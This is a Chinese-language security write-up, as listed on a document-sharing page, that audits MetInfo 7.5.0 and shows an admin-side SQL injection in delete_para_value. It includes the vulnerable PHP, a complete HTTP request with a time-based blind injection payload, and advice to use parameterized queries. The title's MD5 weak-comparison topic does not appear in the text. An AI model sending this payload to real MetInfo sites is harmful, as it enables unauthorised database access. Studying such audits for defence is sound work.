
MetInfo 7.5.0 代码审查(后台 SQL 注入及 MD5 弱类型比较)1
5星
- 浏览量: 0
- 大小:None
- 文件类型:PDF
简介:
本篇文档针对MetInfo 7.5.0版本进行了详细的代码审查,重点分析了其后台SQL注入漏洞以及MD5哈希值的弱类型比较问题,为开发者提供了重要的安全改进建议。
MetInfo 7.5.0 是一款知名的内容管理系统(CMS),其最新版本存在严重的后台 SQL 注入漏洞。本段落将详细介绍该漏洞的发现过程及利用方法。
一、环境说明
在 MetInfo 7.5.0 的安装过程中,我们可以看到使用的 PHP 版本为 7.2.9,CMS 版本为 7.5.0。其目录结构如下:
|-- about
|-- about1
|-- admin
|-- app
|-- cache
|-- case
|-- config
|-- download
|-- favicon.ico
|-- feedback
|-- hits
|-- img
|-- include
|-- index.php
|-- install
|-- job
|-- member
|-- message
|-- news
|-- online
|-- product
|-- public
|-- robots.txt
|-- search
|-- sitemap
|-- tags
|-- templates
|-- upload
二、漏洞发现
在 MetInfo 7.5.0 的 appsystemuseradminparameter.class.php 文件中,doDelParas 函数将表单的 id 参数传递给 delete_para_value 方法:
public function doDelParas()
{
...
$id = $_POST[id];
$this->delete_para_value($id);
...
}
在 delete_para_value 方法内,可以发现传入的 id 被直接拼接到 SQL 语句中:
public function delete_para_value($id)
{
...
$query = DELETE FROM `parameter` WHERE `id` = $id;
DB::query($query);
...
此时可以看出明显的 SQL 注入漏洞。攻击者可以通过构造特殊输入来执行恶意的 SQL 语句。
三、漏洞利用
为了证明该漏洞,可以使用 BurpSuite 工具模拟攻击。需要管理员权限,并发送如下 payload:
POST admin?n=user&c=parameter&a=doDelParas HTTP1.1
Host: cms.cn
Content-Length: 60
Pragma: no-cache
Cache-Control: no-cache
Content-Type: applicationx-www-form-urlencoded; charset=UTF-8
Origin: http://cms.cn
Referer: http://cms.cn/admin
Cookie: met_auth=30ac30fgvWFY3ebf9Wgl9S6LFFBIEwlZoWl066q%2BAr%2F9CD%2Fnti7wlX15n%2BjRmGRQ0hWO6eLPsy%2BtIrVwAPyek9gY48B4; met_key=KQiciI7;
id[]=164+and+if((select substr(version(),1,1))>0,sleep(1),0)
在发送该请求后,可以看到基于时间的布尔盲注延时 2 秒,证明了漏洞的存在。
四、漏洞修复
为了修复此问题,在 delete_para_value 方法中应使用参数化查询防止 SQL 注入。同时应对用户输入进行严格验证和过滤以预防恶意攻击。
五、结语
MetInfo 7.5.0 的后台 SQL 注入漏洞是一个严重的问题,可能被利用来执行有害的 SQL 操作如数据泄露或权限提升等操作。因此 MetInfo 开发者应尽快修复此问题,并告知用户升级到最新版本。同时使用者也应提高警惕避免使用已知的 SQL 注入漏洞。
全部评论 (0)


